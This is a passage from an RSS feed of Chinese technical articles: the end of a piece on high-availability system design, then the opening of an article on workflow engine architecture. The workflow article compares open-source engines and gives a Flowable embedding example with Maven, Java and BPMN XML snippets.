 &lt;p&gt;简单的故障演练就是模拟机房断电、断网、服务挂掉等场景，然后看整个系统运行是否正常。系统就要参考混沌实验工程来进行详细的规划和设计，这个是一个相对较大的工程、效果较好，但是需要有大量人力去开发这种基础建设。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;6.6&lt;/strong&gt;   &lt;strong&gt;线上运行阶段-接口拨测系列设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;接口拨测和巡检类似，就是服务上线后，每隔一个固定时间（比如 5s）调用后端的各种接口，如果接口异常则进行告警。&lt;/p&gt;
 &lt;p&gt;针对接口拨测，一般也会有相关配套设施来提供相关的能力去实现。如果没有提供，那么开发者可以写一个接口拨测（巡检）的服务，定期去调用重要的接口。&lt;/p&gt;
 &lt;h2&gt;07、异常应急层面&lt;/h2&gt;
 &lt;p&gt;即使前面做了很多保障，也不一定招架住线上的各种异常情况。如果真出问题让系统的服务异常、无法提供服务，开发者还有最后一根救命稻草——那就是应急预案，将服务异常的损失降低到最小。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;应急预案是需要开发者事先规划好，业务系统在各个层级出现问题后第一时间怎么恢复，并制定好相关规则和流程。当出现异常状况后可以按照既有的流程去执行。这样避免出现问题后手忙脚乱导致事态扩大。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8d51fc9691ac46c29fc99c2da3836132~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;最后，我们整理出本文的思维导图如上，供各位参考。总体来说，我们从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面，剖析了一个高可用系统的架构设计需要有哪些关键的设计和考虑。&lt;/p&gt;
 &lt;p&gt;以上便是本次分享的全部内容，如果您觉得内容有用，欢迎点赞、收藏，把内容分享给更多开发者。&lt;/p&gt;
 &lt;p&gt;-End-&lt;/p&gt;
 &lt;p&gt;原创作者｜吴德宝&lt;/p&gt;
 &lt;p&gt;技术责编｜吴德宝&lt;/p&gt;
 &lt;p&gt;腾小云福利来也  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;扫码一键领取   &lt;strong&gt;「腾讯云开发者-春季限定红包封面」&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2ea4f441907e4d718975bd116eaf9216~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;最近微信改版啦，有粉丝反馈收不到小云的文章。&lt;/p&gt;
 &lt;p&gt;请关注「腾讯云开发者」并  &lt;strong&gt;点亮星标&lt;/strong&gt;，&lt;/p&gt;
 &lt;p&gt;周一三晚8点 和小云一起  &lt;strong&gt;涨(领)技(福)术(利)&lt;/strong&gt;！&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5049d2836e284966ab1b227a3262e794~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;你可能感兴趣的腾讯工程师作品&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;|   &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247590528&amp;idx=1&amp;sn=2cf6bbdb2d5a0f41810b63ece41ee667&amp;chksm=eaa978d0dddef1c6fe009f3c890feec575c31782f11c313760f6f1ba7e78ef857b7625ed629e&amp;scene=21#wechat_redirect"&gt;编程语言70年：谁是世界上最好的编程语言？&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;|   &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247588095&amp;idx=1&amp;sn=4e68b4a7e5e719dc4c28396feca08f4c&amp;chksm=eaa982afddde0bb92d5bffa73bce37fec0e64e4c79c3e4a46dd013bc3efe36f9de32d00e2db8&amp;scene=21#wechat_redirect"&gt;腾讯工程师聊 ChatGPT 技术「文集」&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;|   &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247591274&amp;idx=1&amp;sn=2b9cac5339190ffcc8e97cd135266d2e&amp;chksm=eaa97f3adddef62c519b0589b69fadab26af560848cfdb289d93e805381be938bc1042040342&amp;scene=21#wechat_redirect"&gt;一文揭秘微信游戏推荐系统&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;|   &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247582311&amp;idx=1&amp;sn=33949a7d43a4b6c088f5c506222112fe&amp;chksm=eaa99837ddde11214ec7e7c4ccfcb73435317dfda22702931ad946d185e44cc891414e8a71e5&amp;scene=21#wechat_redirect"&gt;微信全文搜索耗时降94%？我们用了这种方案&lt;/a&gt;  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247583332&amp;idx=1&amp;sn=646f9423bed5990f75c0d99e618c0fa6&amp;chksm=eaa99c34ddde15228c45f00fa6e8d07de8097dfa4c0fb2ba448288748dec534165ac6538168e&amp;scene=21#wechat_redirect"&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;技术盲盒：  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247568617&amp;idx=1&amp;sn=d3409583764c4877964765a6b774b1de&amp;chksm=eaa9d6b9ddde5faff511c416033948f76b056b209df76c6eb12adfea3f618422297b9b11895b&amp;scene=21#wechat_redirect"&gt;前端&lt;/a&gt;｜  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247568512&amp;idx=1&amp;sn=5a2e887c0ac511e9a4fe5cd68a388e48&amp;chksm=eaa9d6d0ddde5fc6376f1ffcc6e7b050fefded23d5b24c5f7b801885f509df06cd53d99f0a45&amp;scene=21#wechat_redirect"&gt;后端&lt;/a&gt;｜  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247568656&amp;idx=1&amp;sn=98f7033418fc1fd7d019eeb18008b616&amp;chksm=eaa9d740ddde5e56aa0b7df55dc2f70c65f329d37246453c2b3316356f3f84cc9f87eb6b8db4&amp;scene=21#wechat_redirect"&gt;AI与算法&lt;/a&gt;｜  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247568672&amp;idx=1&amp;sn=85e4b3e1c46289058398b216edb40941&amp;chksm=eaa9d770ddde5e669cfaa25c37887ae058c433e4296ca04f8ff5373184bc76d4420f1d2049a7&amp;scene=21#wechat_redirect"&gt;运维｜&lt;/a&gt;  &lt;a href="http://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ==&amp;mid=2247568677&amp;idx=1&amp;sn=e95255553777c53d38cb1e64c1c16432&amp;chksm=eaa9d775ddde5e633a75d20eb484181c0e03cb6f8237a4141c599e4f13ad3af6748c5e8d1a9a&amp;scene=21#wechat_redirect"&gt;工程师文化&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://mp.weixin.qq.com/s/V3gwQmHKUUqPhqniTgSVUA"&gt;阅读原文&lt;/a&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62678-%E5%B7%A5%E4%BD%9C-%E5%8D%81%E5%B9%B4-%E8%85%BE%E8%AE%AF</guid>
      <pubDate>Tue, 14 Mar 2023 10:48:05 CST</pubDate>
    </item>
    <item>
      <title>工作流引擎架构设计</title>
      <link>https://itindex.net/detail/62583-%E5%B7%A5%E4%BD%9C%E6%B5%81-%E5%BC%95%E6%93%8E-%E6%9E%B6%E6%9E%84</link>
      <description>&lt;p&gt;  &lt;strong&gt;原文链接：&lt;/strong&gt;   &lt;a href="https://mp.weixin.qq.com/s/z2lbTDl5G0fcwlGB7jCMAg"&gt;工作流引擎架构设计&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;最近开发的安全管理平台新增了很多工单申请流程需求，比如加白申请，开通申请等等。最开始的两个需求，为了方便，也没多想，就直接开发了对应的业务代码。&lt;/p&gt;
 &lt;p&gt;但随着同类需求不断增多，感觉再这样写可要累死人，于是开始了工作流引擎的开发之路。查找了一些资料之后，开发了现阶段的工作流引擎，文章后面会有介绍。&lt;/p&gt;
 &lt;p&gt;虽然现在基本上能满足日常的需求，但感觉还不够智能，还有很多的优化空间，所以正好借此机会，详细了解了一些完善的工作流引擎框架，以及在架构设计上需要注意的点，形成了这篇文章，分享给大家。&lt;/p&gt;
 &lt;h2&gt;什么是工作流&lt;/h2&gt;
 &lt;p&gt;先看一下维基百科对于工作流的定义：&lt;/p&gt;
 &lt;blockquote&gt;
  &lt;p&gt;工作流（Workflow），是对工作流程及其各操作步骤之间业务规则的抽象、概括描述。工作流建模，即将工作流程中的工作如何前后组织在一起的逻辑和规则，在计算机中以恰当的模型表达并对其实施计算。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;工作流要解决的主要问题是：为实现某个业务目标，利用计算机在多个参与者之间按某种预定规则自动传递文档、信息或者任务。&lt;/p&gt;
 &lt;p&gt;简单来说，工作流就是对业务的流程化抽象。WFMC（工作流程管理联盟） 给出了工作流参考模型如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/61e112e98e754d85bb8084099ceb6b87~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;举一个例子，比如公司办公的 OA 系统，就存在大量的申请审批流程。而在处理这些流程时，如果每一个流程都对应一套代码，显然是不现实的，这样会造成很大程度上的代码冗余，而且开发工作量也会骤增。&lt;/p&gt;
 &lt;p&gt;这个时候就需要一个业务无关的，高度抽象和封装的引擎来统一处理。通过这个引擎，可以灵活配置工作流程，并且可以自动化的根据配置进行状态变更和流程流转，这就是工作流引擎。&lt;/p&gt;
 &lt;h2&gt;简单的工作流&lt;/h2&gt;
 &lt;p&gt;那么，一个工作流引擎需要支持哪些功能呢？&lt;/p&gt;
 &lt;p&gt;这个问题并没有一个标准答案，需要根据实际的业务场景和需求来分析。在这里，我通过一个工单流程的演进，从简单到复杂，循序渐进地介绍一下都需要包含哪些基础功能。&lt;/p&gt;
 &lt;h3&gt;最简单流程&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="base-flow.drawio.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/88e0c22ab26f42e3a0c30d4455c3c63b~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;最简单的一个流程工单，申请人发起流程，每个节点审批人逐个审批，最终流程结束。&lt;/p&gt;
 &lt;h3&gt;会签&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="countersign-flow.drawio.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3759a564ecd446afa2883e566bd2cb56~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在这个过程中，节点分成了两大类：简单节点和复杂节点。&lt;/p&gt;
 &lt;p&gt;简单节点处理逻辑不变，依然是处理完之后自动到下一个节点。复杂节点比如说会签节点，则不同，需要其下的所有子节点都处理完成，才能到下一个节点。&lt;/p&gt;
 &lt;h3&gt;并行&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="parallel-flow.drawio.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a8b4e97797714724a10c21d08bb7b9f5~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;同样属于复杂节点，其任何一个子节点处理完成后，都可以进入到下一个节点。&lt;/p&gt;
 &lt;h3&gt;条件判断&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="condition-flow.drawio.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/143fad10604c44e7a7cd1039c2d84ea7~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;需要根据不同的表单内容进入不同的分支流程。&lt;/p&gt;
 &lt;p&gt;举一个例子，比如在进行休假申请时，请假一天需要直属领导审批，如果大于三天则需要部门领导审批。&lt;/p&gt;
 &lt;h3&gt;动态审批人&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="approver-flow.drawio.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3802e8d53923405582d6ed2a5e0aa4f9~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;审批节点的审批人需要动态获取，并且可配置。&lt;/p&gt;
 &lt;p&gt;审批人的获取方式可以分以下几种：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;固定审批人&lt;/li&gt;
  &lt;li&gt;从申请表单中获取&lt;/li&gt;
  &lt;li&gt;根据组织架构，动态获取&lt;/li&gt;
  &lt;li&gt;从配置的角色组或者权限组中获取&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;撤销和驳回&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="reject-flow.drawio.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/62c6845c20de42ba9611811a4d7de84e~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;节点状态变更可以有申请人撤回，审批人同意，审批人驳回。那么在驳回时，可以直接驳回到开始节点，流程结束，也可以到上一个节点。更复杂一些，甚至可以到前面流程的任意一个节点。&lt;/p&gt;
 &lt;h3&gt;自动化节点&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="auto-flow.drawio.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/68bd344074f949a190e7f6f9a5351412~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;有一些节点是不需要人工参与的，比如说联动其他系统自动处理，或者审批节点有时间限制，超时自动失效。&lt;/p&gt;
 &lt;h3&gt;个性化通知&lt;/h3&gt;
 &lt;p&gt;节点审批之后，可以配置不同的通知方式来通知相关人。&lt;/p&gt;
 &lt;p&gt;以上是我列举的一些比较常见的需求点，还有像加签，代理，脚本执行等功能，如果都实现的话，应该会是一个庞大的工作量。当然了，如果目标是做一个商业化产品的话，功能还是需要更丰富一些的。&lt;/p&gt;
 &lt;p&gt;但把这些常见需求点都实现的话，应该基本可以满足大部分的需求了，至少对于我们系统的工单流程来说，目前是可以满足的。&lt;/p&gt;
 &lt;h2&gt;工作流引擎对比&lt;/h2&gt;
 &lt;p&gt;既然这是一个常见的需求，那么需要我们自己来开发吗？市面上有开源项目可以使用吗？&lt;/p&gt;
 &lt;p&gt;答案是肯定的，目前，市场上比较有名的开源流程引擎有 Osworkflow、Jbpm、Activiti、Flowable、Camunda 等等。其中：Jbpm、Activiti、Flowable、Camunda 四个框架同宗同源，祖先都是 Jbpm4，开发者只要用过其中一个框架，基本上就会用其它三个了。&lt;/p&gt;
 &lt;h3&gt;Osworkflow&lt;/h3&gt;
 &lt;p&gt;Osworkflow 是一个轻量化的流程引擎，基于状态机机制，数据库表很少。Osworkflow 提供的工作流构成元素有：步骤（step）、条件（conditions）、循环（loops）、分支（spilts）、合并（joins）等，但不支持会签、跳转、退回、加签等这些操作，需要自己扩展开发，有一定难度。&lt;/p&gt;
 &lt;p&gt;如果流程比较简单，Osworkflow 是一个很不错的选择。&lt;/p&gt;
 &lt;h3&gt;JBPM&lt;/h3&gt;
 &lt;p&gt;JBPM 由 JBoss 公司开发，目前最高版本是 JPBM7，不过从 JBPM5 开始已经跟之前不是同一个产品了，JBPM5 的代码基础不是 JBPM4，而是从 Drools Flow 重新开始的。基于 Drools Flow 技术在国内市场上用的很少，所有不建议选择 JBPM5 以后版本。&lt;/p&gt;
 &lt;p&gt;JBPM4 诞生的比较早，后来 JBPM4 创建者 Tom Baeyens 离开 JBoss，加入 Alfresco 后很快推出了新的基于 JBPM4 的开源工作流系统 Activiti，另外 JBPM 以 hibernate 作为数据持久化 ORM 也已不是主流技术。&lt;/p&gt;
 &lt;h3&gt;Activiti&lt;/h3&gt;
 &lt;p&gt;Activiti 由 Alfresco 软件开发，目前最高版本 Activiti7。Activiti 的版本比较复杂，有 Activiti5、Activiti6、Activiti7 几个主流版本，选型时让人晕头转向，有必要先了解一下 Activiti 这几个版本的发展历史。&lt;/p&gt;
 &lt;p&gt;Activiti5 和 Activiti6 的核心 leader 是 Tijs Rademakers，由于团队内部分歧，在 2017 年 Tijs Rademakers 离开团队，创建了后来的 Flowable。Activiti6 以及 Activiti5 代码已经交接给了 Salaboy 团队，Activiti6 以及 Activiti5 的代码官方已经暂停维护了。&lt;/p&gt;
 &lt;p&gt;Salaboy 团队目前在开发 Activiti7 框架，Activiti7 内核使用的还是 Activiti6，并没有为引擎注入更多的新特性，只是在 Activiti 之外的上层封装了一些应用。&lt;/p&gt;
 &lt;h3&gt;Flowable&lt;/h3&gt;
 &lt;p&gt;Flowable 是一个使用 Java 编写的轻量级业务流程引擎，使用 Apache V2 license 协议开源。2016 年 10 月，Activiti 工作流引擎的主要开发者离开 Alfresco 公司并在 Activiti 分支基础上开启了 Flowable 开源项目。基于 Activiti v6 beta4 发布的第一个 Flowable release 版本为 6.0。&lt;/p&gt;
 &lt;p&gt;Flowable 项目中包括 BPMN（Business Process Model and Notation）引擎、CMMN（Case Management Model and Notation）引擎、DMN（Decision Model and Notation）引擎、表单引擎（Form Engine）等模块。&lt;/p&gt;
 &lt;p&gt;相对开源版，其商业版的功能会更强大。以 Flowable6.4.1 版本为分水岭，大力发展其商业版产品，开源版本维护不及时，部分功能已经不再开源版发布，比如表单生成器（表单引擎）、历史数据同步至其他数据源、ES 等。&lt;/p&gt;
 &lt;h3&gt;Camunda&lt;/h3&gt;
 &lt;p&gt;Camunda 基于 Activiti5，所以其保留了 PVM，最新版本 Camunda7.15，保持每年发布两个小版本的节奏，开发团队也是从 Activiti 中分裂出来的，发展轨迹与 Flowable 相似，同时也提供了商业版，不过对于一般企业应用，开源版本也足够了。&lt;/p&gt;
 &lt;p&gt;以上就是每个项目的一个大概介绍，接下来主要对比一下 Jbpm、Activiti、Flowable 和 Camunda。只看文字的话可能对它们之间的关系还不是很清楚，所以我画了一张图，可以更清晰地体现每个项目的发展轨迹。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="jbpm-history.drawio.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1fffd248ea04416b8804665676d5208e~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;那么，如果想要选择其中一个项目来使用的话，应该如何选择呢？我罗列了几项我比较关注的点，做了一张对比表格，如下：&lt;/p&gt;
 &lt;table&gt;

  &lt;tr&gt;
   &lt;th&gt;&lt;/th&gt;
   &lt;th&gt;Activiti 7&lt;/th&gt;
   &lt;th&gt;Flowable 6&lt;/th&gt;
   &lt;th&gt;Camunda&lt;/th&gt;
   &lt;th&gt;JBPM 7&lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;流程协议&lt;/td&gt;
   &lt;td&gt;BPMN2.0、XPDL、PDL&lt;/td&gt;
   &lt;td&gt;BPMN2.0、XPDL、XPDL&lt;/td&gt;
   &lt;td&gt;BPMN2.0、XPDL、XPDL&lt;/td&gt;
   &lt;td&gt;BPMN2.0&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;开源情况&lt;/td&gt;
   &lt;td&gt;开源&lt;/td&gt;
   &lt;td&gt;商业和开源版&lt;/td&gt;
   &lt;td&gt;商业和开源版&lt;/td&gt;
   &lt;td&gt;开源&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;开发基础&lt;/td&gt;
   &lt;td&gt;JBPM4&lt;/td&gt;
   &lt;td&gt;Activiti 5 &amp;amp; 6&lt;/td&gt;
   &lt;td&gt;Activiti 5&lt;/td&gt;
   &lt;td&gt;版本 5 之后 Drools Flow&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;数据库&lt;/td&gt;
   &lt;td&gt;Oracle、SQL Server、MySQL&lt;/td&gt;
   &lt;td&gt;Oracle、SQL Server、MySQL、postgre&lt;/td&gt;
   &lt;td&gt;Oracle、SQL Server、MySQL、postgre&lt;/td&gt;
   &lt;td&gt;MySQL，postgre&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;架构&lt;/td&gt;
   &lt;td&gt;spring boot 2&lt;/td&gt;
   &lt;td&gt;spring boot 1.5&lt;/td&gt;
   &lt;td&gt;spring boot 2&lt;/td&gt;
   &lt;td&gt;Kie&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;运行模式&lt;/td&gt;
   &lt;td&gt;独立运行和内嵌&lt;/td&gt;
   &lt;td&gt;独立运行和内嵌&lt;/td&gt;
   &lt;td&gt;独立运行和内嵌&lt;/td&gt;
   &lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;流程设计器&lt;/td&gt;
   &lt;td&gt;AngularJS&lt;/td&gt;
   &lt;td&gt;AngularJS&lt;/td&gt;
   &lt;td&gt;bpmn.js&lt;/td&gt;
   &lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;活跃度&lt;/td&gt;
   &lt;td&gt;活跃&lt;/td&gt;
   &lt;td&gt;相对活跃&lt;/td&gt;
   &lt;td&gt;相对活跃&lt;/td&gt;
   &lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;表数量&lt;/td&gt;
   &lt;td&gt;引入 25 张表&lt;/td&gt;
   &lt;td&gt;引入 47 张表&lt;/td&gt;
   &lt;td&gt;引入 19 张表&lt;/td&gt;
   &lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;jar 包数量&lt;/td&gt;
   &lt;td&gt;引入 10 个 jar&lt;/td&gt;
   &lt;td&gt;引入 37 个 jar&lt;/td&gt;
   &lt;td&gt;引入 15 个 jar&lt;/td&gt;
   &lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;h2&gt;Flowable 应用举例&lt;/h2&gt;
 &lt;p&gt;如果选择使用开源项目来开发自己的引擎，或者嵌入到现有的项目中，应该如何使用呢？这里通过 Flowable 来举例说明。&lt;/p&gt;
 &lt;p&gt;使用 Flowable 可以有两种方式，分别是内嵌和独立部署方式，现在来分别说明：&lt;/p&gt;
 &lt;h3&gt;内嵌模式&lt;/h3&gt;
 &lt;h4&gt;创建 maven 工程&lt;/h4&gt;
 &lt;p&gt;先建一个普通的 maven 工程，加入 Flowable 引擎的依赖以及 h2 内嵌数据库的依赖，也可以使用 MySQL 数据库来做持久化。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;!-- https://mvnrepository.com/artifact/org.flowable/flowable-engine --&amp;gt;
&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.flowable&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;flowable-engine&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;6.7.2&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;com.h2database&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;h2&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;1.4.192&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h4&gt;创建流程引擎实例&lt;/h4&gt;
 &lt;pre&gt;  &lt;code&gt;import org.flowable.engine.ProcessEngine;
import org.flowable.engine.ProcessEngineConfiguration;
import org.flowable.engine.impl.cfg.StandaloneProcessEngineConfiguration;

public class HolidayRequest {

  public static void main(String[] args) {
    ProcessEngineConfiguration cfg = new StandaloneProcessEngineConfiguration()
      .setJdbcUrl(&amp;quot;jdbc:h2:mem:flowable;DB_CLOSE_DELAY=-1&amp;quot;)
      .setJdbcUsername(&amp;quot;sa&amp;quot;)
      .setJdbcPassword(&amp;quot;&amp;quot;)
      .setJdbcDriver(&amp;quot;org.h2.Driver&amp;quot;)
      .setDatabaseSchemaUpdate(ProcessEngineConfiguration.DB_SCHEMA_UPDATE_TRUE);

    ProcessEngine processEngine = cfg.buildProcessEngine();
  }

}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;接下来，我们就可以往这个引擎实例上部署一个流程 xml。比如，我们想建立一个员工请假流程：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;definitions xmlns=&amp;quot;http://www.omg.org/spec/BPMN/20100524/MODEL&amp;quot;
             xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;
             xmlns:activiti=&amp;quot;http://activiti.org/bpmn&amp;quot;
             typeLanguage=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;
             expressionLanguage=&amp;quot;http://www.w3.org/1999/XPath&amp;quot;
             targetNamespace=&amp;quot;http://www.flowable.org/processdef&amp;quot;&amp;gt;

    &amp;lt;process id=&amp;quot;holidayRequest&amp;quot; name=&amp;quot;Holiday Request&amp;quot; isExecutable=&amp;quot;true&amp;quot;&amp;gt;

        &amp;lt;startEvent id=&amp;quot;startEvent&amp;quot;/&amp;gt;
        &amp;lt;sequenceFlow sourceRef=&amp;quot;startEvent&amp;quot; targetRef=&amp;quot;approveTask&amp;quot;/&amp;gt;

&amp;lt;!--        &amp;lt;userTask id=&amp;quot;approveTask&amp;quot; name=&amp;quot;Approve or reject request&amp;quot;/&amp;gt;--&amp;gt;
        &amp;lt;userTask id=&amp;quot;approveTask&amp;quot; name=&amp;quot;Approve or reject request&amp;quot; activiti:candidateGroups=&amp;quot;managers&amp;quot;/&amp;gt;

        &amp;lt;sequenceFlow sourceRef=&amp;quot;approveTask&amp;quot; targetRef=&amp;quot;decision&amp;quot;/&amp;gt;

        &amp;lt;exclusiveGateway id=&amp;quot;decision&amp;quot;/&amp;gt;
        &amp;lt;sequenceFlow sourceRef=&amp;quot;decision&amp;quot; targetRef=&amp;quot;externalSystemCall&amp;quot;&amp;gt;
            &amp;lt;conditionExpression xsi:type=&amp;quot;tFormalExpression&amp;quot;&amp;gt;
                &amp;lt;![CDATA[
          ${approved}
        ]]&amp;gt;
            &amp;lt;/conditionExpression&amp;gt;
        &amp;lt;/sequenceFlow&amp;gt;
        &amp;lt;sequenceFlow sourceRef=&amp;quot;decision&amp;quot; targetRef=&amp;quot;sendRejectionMail&amp;quot;&amp;gt;
            &amp;lt;conditionExpression xsi:type=&amp;quot;tFormalExpression&amp;quot;&amp;gt;
                &amp;lt;![CDATA[
          ${!approved}
        ]]&amp;gt;
            &amp;lt;/conditionExpression&amp;gt;
        &amp;lt;/sequenceFlow&amp;gt;

        &amp;lt;serviceTask id=&amp;quot;externalSystemCall&amp;quot; name=&amp;quot;Enter holidays in external system&amp;quot;
                     activiti:class=&amp;quot;org.example.CallExternalSystemDelegate&amp;quot;/&amp;gt;
        &amp;lt;sequenceFlow sourceRef=&amp;quot;externalSystemCall&amp;quot; targetRef=&amp;quot;holidayApprovedTask&amp;quot;/&amp;gt;

&amp;lt;!--        &amp;lt;userTask id=&amp;quot;holidayApprovedTask&amp;quot; name=&amp;quot;Holiday approved&amp;quot;/&amp;gt;--&amp;gt;
        &amp;lt;userTask id=&amp;quot;holidayApprovedTask&amp;quot; name=&amp;quot;Holiday approved&amp;quot; activiti:assignee=&amp;quot;${employee}&amp;quot;/&amp;gt;

        &amp;lt;sequenceFlow sourceRef=&amp;quot;holidayApprovedTask&amp;quot; targetRef=&amp;quot;approveEnd&amp;quot;/&amp;gt;

        &amp;lt;serviceTask id=&amp;quot;sendRejectionMail&amp;quot; name=&amp;quot;Send out rejection email&amp;quot;
                     activiti:class=&amp;quot;org.flowable.SendRejectionMail&amp;quot;/&amp;gt;
        &amp;lt;sequenceFlow sourceRef=&amp;quot;sendRejectionMail&amp;quot; targetRef=&amp;quot;rejectEnd&amp;quot;/&amp;gt;

        &amp;lt;endEvent id=&amp;quot;approveEnd&amp;quot;/&amp;gt;

        &amp;lt;endEvent id=&amp;quot;rejectEnd&amp;quot;/&amp;gt;

    &amp;lt;/process&amp;gt;

&amp;lt;/definitions&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;此 xml 是符合 bpmn2.0 规范的一种标准格式，其对应的流程图如下：&lt;/p&gt;
